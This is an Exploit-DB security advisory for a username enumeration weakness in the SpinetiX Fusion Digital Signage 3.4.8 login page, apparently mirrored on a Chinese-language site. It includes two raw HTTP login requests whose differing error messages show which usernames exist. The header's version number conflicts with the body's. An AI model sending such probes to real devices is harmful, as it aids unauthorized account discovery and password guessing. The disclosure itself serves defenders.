SpinetiX Fusion Digital Signage 3.4.8 – Username Enumeration

  • 作者: LiquidWorm
    日期: 2020-10-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48847/
  • # Exploit Title: SpinetiX Fusion Digital Signage 3.4.8 - Username Enumeration
    # Date: 2020-09-30
    # Exploit Author: LiquidWorm
    # Vendor Homepage: https://www.spinetix.com
    # Version: <= 8.2.26
    
    SpinetiX Fusion Digital Signage 3.4.8 Username Enumeration Weakness
    
    
    Vendor: SpinetiX AG
    Product web page: https://www.spinetix.com
    Affected version: <= 3.4.8 (1.0.36274)
    
    Summary: At SpinetiX we inspire businesses to unlock the potential of their story.
    We believe in the power of digital signage as a dynamic new storytelling platform
    to engage with people. For more than 13 years, we have been constantly innovating
    to deliver cutting-edge digital signage solutions that help our customers shine.
    Fusion is a built-in content management application accessible from a standard web
    browser - it is pre-installed on every HMP200, HMP130, and HMP100 device, and does
    not require any additional license, cost, or software installation.
    
    Desc: The weakness is caused due to the login script and how it verifies provided
    credentials. Attacker can use this weakness to enumerate valid users on the affected
    node.
    
    Tested on: Apache 2.2.34
     PHP/5.3.18-2
     Linux 2.6.10
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2020-5591
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5591.php
    
    
    03.08.2020
    
    --
    
    
    POST /fusion/index.php?r=users/login HTTP/1.1
    Host: 192.168.1.1
    
    User[username]=NonExisting&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0
    
    Response: Username is incorrect.
    HTML: <div class="user_password login"><div class="errorLogin">Username is incorrect.</div>
    
    ---
    
    POST /fusion/index.php?r=users/login HTTP/1.1
    Host: 192.168.1.1
    
    User[username]=admin&User[password]=blah&User[rememberMe]=0&yt0.x=0&yt0.y=0
    
    Response: Password is incorrect.
    HTML: <div class="user_password login"><div class="errorLogin">Password is incorrect.</div>